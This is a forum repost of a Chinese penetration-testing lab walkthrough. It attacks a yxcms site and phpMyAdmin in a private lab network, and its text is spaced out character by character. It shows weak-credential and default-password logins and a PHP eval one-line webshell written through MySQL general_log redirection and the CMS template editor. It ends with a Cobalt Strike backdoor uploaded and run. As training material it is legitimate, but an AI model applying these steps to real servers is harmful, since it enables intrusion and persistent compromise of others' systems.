搜索

[22037] 2021-06-04_一次简单的内网渗透靶场练习

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-06-04_一次简单的内网渗透靶场练习 一 次 简 单 的 内 网 渗 透 靶 场 练 习 L e m o n S e c   2 0 2 1 - 0 6 - 0 4 文 章 来 文 章 来 源 ： 源 ： H A C K 学 习 呀 学 习 呀 访 问 目 标 站 点 ， h t t p : / / 1 9 2 . 1 6 8 . 1 2 2 . 1 4 2 / y x c m s / 方 法 一 ： 弱 口 令 登 录 方 法 一 ： 弱 口 令 登 录 p h p m y a d m i n 拿 权 限 拿 权 限 进 入 p h p m y a d m i n 对 目 标 站 点 I P 进 行 端 口 扫 描 ， 发 现 8 0 和 3 3 0 6 端 口 开 放 攻 击 机 ： K A L I （ 1 9 2 . 1 6 8 . 1 2 2 . 1 3 0 ） 靶 机 ： w i n 7 （ 外 网 I P ： 1 9 2 . 1 6 8 . 1 2 2 . 1 4 4 或 者 1 9 2 . 1 6 8 . 1 2 2 . 1 4 2 ； 内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 4 3 ） w i n 2 0 0 8 ( 内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 3 8 ) w i n 0 8 ( 内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 4 1 )
使 用 d i r s e a r c h 进 行 目 录 扫 描
尝 试 对 p h p m y a d m i n 进 行 爆 破 p h p m y a d m i n 存 在 弱 口 令 ， 用 户 名 ： r o o t ， 密 码 ： r o o t
p h p M y A d m i n   利 用 日 志 文 件   g e t s h e l l 在 变 量 中 搜 索 g e n e r a l ， 查 看 日 志 状 态 ， 返 回 结 果 如 下 当 开 启 g e n e r a l   l o g 为 o n 时 ， 所 执 行 的 s q l 语 句 都 会 出 现 在 s t u 1 . l o g 文 件 中 。 那 么 ， 如 果 修 改 g e n e r a l l o g f i l e 的 值 ， 那 么 所 执 行 的 s q l 语 句 就 会 对 应 生 成 对 应 的 文 件 中 ， 进 而 g e t s h e l l 。 所 以 为 了 g e t   s h e l l ， 我 们 将 g e n e r a l   l o g 设 为 o n ， 将 g e n e r a l   l o g   f i l e 设 为 C : / p h p S t u d y / W W W / t e s t . p h p 通 过 执 行 查 询 语 句 将 一 句 话 木 马 插 入 到 重 新 定 义 的 日 志 文 件 t e s t . p h p 中 看 一 下 靶 机 上 的 t e s t . p h p ， 一 句 话 木 马 是 否 插 入 成 功 S E L E C T   ' < ? p h p   e v a l ( $ _ P O S T [ " c m d " ] ) ; ? > '
插 入 成 功 后 我 们 用 蚁 剑 连 接 t e s t . p h p 成 功 获 取 目 标 服 务 器 权 限 . . . 方 法 二 ： 利 用 已 知 方 法 二 ： 利 用 已 知 c m s 漏 洞 漏 洞 g e t s h e l l 进 入 管 理 后 台 显 而 易 见 ， 目 标 靶 机 使 用 了 y x c m s ， 通 过 百 度 可 以 查 询 到 y x c m s 的 目 录 结 构 ， 得 到 y x c m s 的 后 台 路 径 ： / i n d e x . p h p ? r = a d m i n / i n d e x / l o g i n 访 问 h t t p : / / 1 9 2 . 1 6 8 . 1 2 2 . 1 4 2 / y x c m s / / i n d e x . p h p ? r = a d m i n / i n d e x / l o g i n
使 用 y x c m s 默 认 用 户 名 密 码 ， a d m i n / 1 2 3 4 5 6 登 录 后 台 ， 直 接 登 录 成 功 ， 接 入 管 理 后 台 页 面 写 入 w e b s h e l l 在 前 台 模 板 功 能 中 我 们 可 以 直 接 写 入 一 句 话 木 马 B u r p s u i t e 抓 包 后 ， 并 没 有 发 现 写 入 文 件 后 返 回 具 体 文 件 路 径
不 过 y x c m s 泄 露 了 r o b o t s . t x t 通 过 泄 露 的 文 件 路 径 ， 一 步 一 步 推 测 找 出 我 们 上 传 的 s h e l l _ t e s t . p h p 一 句 话 木 马
蚁 剑 连 接 s h e l l _ t e s t . p h p 成 功 拿 下 靶 机 权 限 . . . 拿 下 服 务 器 权 限 后 就 要 植 入 后 门 ， 植 入 后 门 的 方 法 大 致 有 两 种 — — M S F 和 C o b a l t s   S t r i k e 。 这 里 演 示 C o b a l t s   S t r i k e 的 方 式 。 关 于 M S F 生 成 后 门 详 见 ： h t t p s : / / w w w . c n b l o g s . c o m / C 0 l d C a s h / p / 1 3 7 3 3 0 6 7 . h t m l 生 成 e x e 可 执 行 后 门
执 行 e x e 后 门 利 用 蚁 剑 将 e x e 后 门 上 传 到 靶 机
在 蚁 剑 中 使 用 终 端 命 令 行 执 行 e x e 后 门 C o b a l t   S t r i k e 中 靶 机 上 线
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理